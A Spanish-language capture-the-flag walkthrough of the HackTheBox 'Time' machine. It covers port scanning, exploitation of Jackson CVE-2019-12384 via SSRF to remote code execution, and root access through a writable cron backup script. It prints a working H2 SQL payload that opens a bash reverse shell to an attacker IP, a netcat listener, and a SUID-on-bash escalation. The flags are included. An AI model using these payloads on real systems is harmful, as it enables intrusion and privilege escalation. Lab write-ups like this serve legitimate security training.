
Hoy vamos a resolver la máquina Time
de la plataforma de hackthebox
correspondiente a una linux
dificultad media, la cual va a ser explotada utilizando la vulnerabilidad de Jackson CVE-2019-12384
, y aprovecharemos la vulnerabilidad SSRF
derivandola en una ejecucion remota de comandos RCE
que nos dara acceso al sistema, para que finalmente aprovechandonos de una tarea Cron
podamos obtener acceso como el usuario root
.
Vamos a comenzar creando un directorio con el nombre de la maquina:
❯ mkdir Time
❯ ls
Time
Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
content exploits nmap scripts
Enumeración #
Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping
:
❯ ping -c 1 10.10.10.214
PING 10.10.10.214 (10.10.10.214) 56(84) bytes of data.
64 bytes from 10.10.10.214: icmp_seq=1 ttl=63 time=133 ms
--- 10.10.10.214 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 133.374/133.374/133.374/0.000 ms
Vemos que la maquina nos responde, ahora procederemos a el escaneo de puertos con la ayuda de nmap
:
Escaneo de Puertos
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre allPorts
:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.214 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-12 20:48 GMT
Initiating SYN Stealth Scan at 20:48
Scanning 10.10.10.214 [65535 ports]
Discovered open port 80/tcp on 10.10.10.214
Discovered open port 22/tcp on 10.10.10.214
Completed SYN Stealth Scan at 20:49, 17.83s elapsed (65535 total ports)
Nmap scan report for 10.10.10.214
Host is up, received user-set (0.15s latency).
Scanned at 2023-06-12 20:48:51 GMT for 18s
Not shown: 65476 closed tcp ports (reset), 57 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.97 seconds
Raw packets sent: 87623 (3.855MB) | Rcvd: 86271 (3.451MB)
Podemos ver que los puertos que se encuentran abiertos son el puerto 22 ssh
y el 80 http
.
Escaneo de Version y Servicios.
❯ nmap -sCV -p22,80 10.10.10.214 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-12 20:49 GMT
Nmap scan report for 10.10.10.214
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Online JSON parser
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.90 seconds
Visulizamos informacion interesante de los puertos escaneados:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 |
80 | HTTP | Apache httpd 2.4.41 |
Seguidamente vamos a usar la herramienta whatweb
para ver por consola el gestor de contenido de la pagina web.
❯ whatweb http://10.10.10.214
http://10.10.10.214 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.214], JQuery[3.2.1], Script, Title[Online JSON parser]
La herramienta nos reporta que se trata de un JSON parser
Explotación #
Vamos a abrir la web y vemos que la pagina efectivamente es un JSON parser
Vemos una opcion de Beautify
que al pasarle datos en JSON
nos lo muestra de manera mas estetica.
Dentro de las opciones tambien podemos ver una de Validate (Beta)
,y si procesamos una comilla nos arroja un error referente a jackson java
Investigando un poco encontramos que existe una vulnerabilidad a una libreria jackson
que se usa para la deserealizacion JSON
y mediante ello podemos realizar ataques de SSRF
y derivarlo a una ejecucion remota de comandos.
Si deseas entender a mayor detalle la vulnerabilidad te dejo el siguiente articulo:
Para explotar esta vulnerabilidad debemos crear un archivo inject.sql
con el siguiente contenido:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.16.3/443 0>&1')
En la función shellexec
, introducimos el codigo que queremos que se ejecute cuando suceda la desearialización. En este caso introduciremos una instrucción en bash
que nos permita obtener una reverse shell.
Lo siguiente ejecutar lo siguiente instrucción en el JSON PARSER
, donde especificaremos nuestra ip, donde nos compartiremos el archivo inject.sql
Ahora nos compartimos el archivo, usando python.
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Seguidamente nos ponemos en escucha en el puerto especifico, en este caso el 443
y enviamos la instrucción.
Recibimos la petición
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.214 - - [12/Jun/2023 23:13:26] "GET /inject.sql HTTP/1.1" 200 -
y obnenemos acceso como el usuario pericles
❯ ncat -nlvp 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.214.
Ncat: Connection from 10.10.10.214:38128.
bash: cannot set terminal process group (857): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ whoami
whoami
pericles
pericles@time:/var/www/html$
Como siempre vamos a configurar nuestra tty
full interactiva
pericles@time:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
pericles@time:/var/www/html$ ^Z
zsh: suspended ncat -nlvp 443
❯ stty raw -echo; fg
[1] + continued ncat -nlvp 443
reset xterm
pericles@time:/var/www/html$ export TERM=xterm
pericles@time:/var/www/html$ export SHELL=bash
pericles@time:/var/www/html$ stty rows 45 columns 184
Nos dirigimos al directorio personal del usuario pericles
y visializamos la primera flag user.txt
pericles@time:/var/www/html$ cd /home
pericles@time:/home$ ls
pericles
pericles@time:/home$ cd pericles/
pericles@time:/home/pericles$ ls
snap user.txt
pericles@time:/home/pericles$ cat user.txt
5598d4c823ca1aadd34004c1ed4cbfc8
pericles@time:/home/pericles$
Escalada de Privilegios #
Para poder elevar privilegios primeramente a enumerar ver la lista de temporalizadores para ver información util sobre las tareas programadas en el sistema, utilzando el comando systenctl list-timers
.
pericles@time:/home/pericles$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2023-06-12 23:21:41 UTC 3s left Mon 2023-06-12 23:21:31 UTC 6s ago timer_backup.timer timer_backup.service
Mon 2023-06-12 23:39:00 UTC 17min left Mon 2023-06-12 23:09:00 UTC 12min ago phpsessionclean.timer phpsessionclean.service
Tue 2023-06-13 00:00:00 UTC 38min left Mon 2023-06-12 20:41:25 UTC 2h 40min ago logrotate.timer logrotate.service
Tue 2023-06-13 00:00:00 UTC 38min left Mon 2023-06-12 20:41:25 UTC 2h 40min ago man-db.timer man-db.service
Tue 2023-06-13 00:09:59 UTC 48min left Tue 2021-02-09 14:42:14 UTC 2 years 4 months ago motd-news.timer motd-news.service
Tue 2023-06-13 03:56:23 UTC 4h 34min left Thu 2020-10-22 18:44:20 UTC 2 years 7 months ago apt-daily.timer apt-daily.service
Tue 2023-06-13 06:16:25 UTC 6h left Mon 2023-06-12 21:40:37 UTC 1h 41min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Tue 2023-06-13 14:30:45 UTC 15h left Mon 2023-06-12 22:46:51 UTC 34min ago fwupd-refresh.timer fwupd-refresh.service
Tue 2023-06-13 20:56:20 UTC 21h left Mon 2023-06-12 20:56:20 UTC 2h 25min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2023-06-18 03:10:37 UTC 5 days left Mon 2023-06-12 20:42:05 UTC 2h 39min ago e2scrub_all.timer e2scrub_all.service
Mon 2023-06-19 00:00:00 UTC 6 days left Mon 2023-06-12 20:41:25 UTC 2h 40min ago fstrim.timer fstrim.service
Obervamos que se esta ejecutando un timer_backup
, ahora para enumerar los procesos que se estan ejecutando en el sistema, vamos a crearnos un pequeño script en bash de nombre procmon.sh
#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
old_process=$new_process
done
Lo ejecutamos en la maquina victima y vemos que el usuario root
esta ejecutando el arhivo timer_backup.sh
a intervalos regulares de tiempo.
root /bin/sh -e /usr/lib/php/sessionclean
root /bin/sh -e /usr/lib/php/sessionclean
root /lib/systemd/systemd-udevd
root /lib/systemd/systemd-udevd
root /lib/systemd/systemd-udevd
root /bin/bash /usr/bin/timer_backup.sh
root zip -r website.bak.zip /var/www/html
root /bin/bash /usr/bin/timer_backup.sh
root zip -r website.bak.zip /var/www/html
Viendo las propiedades del archivo, vemos que somos propieatarios, por tanto tenemos permiso de escritura.
pericles@time:/home/pericles$ ls -l /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Jun 12 23:40 /usr/bin/timer_backup.sh
pericles@time:/home/pericles$
Lo siguiente que haremos sera modificar el archivo, añadiendole una instruccion que nos otorgue el privilegio suid
a la bash
.
pericles@time:/home/pericles$ cat /usr/bin/timer_backup.sh
#!/bin/bash
chmod u+s /bin/bash
Ya que el usuario root
nos ejecutara el archivo despues de unos segundos verificamos si nos asigno el permiso correspondiente a la bash
.
pericles@time:/home/pericles$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Feb 25 2020 /bin/bash
Lo unico que nos queda por hacer seria ejecutar bash -p
y nos convertiriamos en el usuario root
, ahora vamos a su directorio personal y visualizamos la segunda flag root.txt
.
pericles@time:/home/pericles$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt
a527d7fbd3e113aeb96d956af2900de8
Comments